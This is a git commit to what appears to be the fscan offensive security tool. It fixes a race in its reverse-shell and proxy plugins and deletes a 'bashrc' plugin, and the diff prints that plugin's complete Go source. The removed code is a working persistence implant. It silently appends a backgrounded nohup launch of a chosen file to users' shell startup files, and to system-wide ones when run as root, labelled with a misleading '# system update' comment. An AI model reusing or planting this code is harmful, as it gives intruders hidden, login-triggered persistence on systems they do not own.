fix: 修复长驻插件启动竞态,删除重复的 bashrc 插件

- 修复 forwardshell/reverseshell/socks5proxy 因竞态导致主进程提前退出
- 删除与 shellenv 功能重复的 bashrc 插件
This commit is contained in:
ZacharyZcR
2026-05-16 00:12:21 +08:00
parent a42f074b00
commit 5af8682d22
4 changed files with 7 additions and 113 deletions
-105
View File
@@ -1,105 +0,0 @@
//go:build (plugin_bashrc || !plugin_selective) && !windows && !no_local
package local
import (
"context"
"fmt"
"os"
"os/user"
"path/filepath"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins"
)
type BashRCPlugin struct {
plugins.BasePlugin
}
func NewBashRCPlugin() *BashRCPlugin {
return &BashRCPlugin{BasePlugin: plugins.NewBasePlugin("bashrc")}
}
func (p *BashRCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
pePath := session.Config.PersistenceTargetFile
if pePath == "" {
return &plugins.Result{Success: false, Error: fmt.Errorf("未指定持久化文件,使用 -persistence-file 参数")}
}
if _, err := os.Stat(pePath); err != nil {
return &plugins.Result{Success: false, Error: fmt.Errorf("文件不存在: %s", pePath)}
}
absPath, _ := filepath.Abs(pePath)
payload := fmt.Sprintf("\n(nohup %s &>/dev/null &) # system update\n", absPath)
targets := []struct {
path string
desc string
}{
{filepath.Join(homeDir(), ".bashrc"), "~/.bashrc"},
{filepath.Join(homeDir(), ".profile"), "~/.profile"},
}
if os.Getuid() == 0 {
targets = append(targets,
struct{ path, desc string }{"/etc/profile", "/etc/profile"},
struct{ path, desc string }{"/etc/bash.bashrc", "/etc/bash.bashrc"},
)
}
var output strings.Builder
var successCount int
for _, t := range targets {
if _, err := os.Stat(t.path); err != nil {
continue
}
data, err := os.ReadFile(t.path)
if err != nil {
continue
}
if strings.Contains(string(data), absPath) {
output.WriteString(fmt.Sprintf("[跳过] %s: 已存在\n", t.desc))
continue
}
f, err := os.OpenFile(t.path, os.O_APPEND|os.O_WRONLY, 0644)
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
continue
}
_, err = f.WriteString(payload)
f.Close()
if err != nil {
output.WriteString(fmt.Sprintf("[失败] %s: %v\n", t.desc, err))
continue
}
output.WriteString(fmt.Sprintf("[成功] %s\n", t.desc))
successCount++
}
if successCount > 0 {
common.LogSuccess(i18n.Tr("bashrc_success", successCount))
}
return &plugins.Result{
Success: successCount > 0,
Type: plugins.ResultTypeService,
Output: output.String(),
}
}
func homeDir() string {
if u, err := user.Current(); err == nil {
return u.HomeDir
}
return os.Getenv("HOME")
}
func init() {
RegisterLocalPlugin("bashrc", func() Plugin {
return NewBashRCPlugin()
})
}